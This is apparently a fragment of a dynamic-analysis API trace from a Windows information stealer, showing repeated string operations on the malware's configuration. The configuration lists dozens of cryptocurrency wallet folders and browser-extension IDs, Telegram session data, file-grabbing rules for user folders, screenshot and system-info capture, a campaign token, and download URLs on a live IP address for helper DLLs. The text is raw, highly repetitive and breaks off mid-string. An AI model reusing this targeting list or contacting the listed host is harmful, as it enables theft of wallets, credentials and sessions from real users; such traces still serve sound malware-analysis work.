Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.183] StrStrW (lpFirst="Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.183] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.183] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6ef5a0 [0266.183] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger 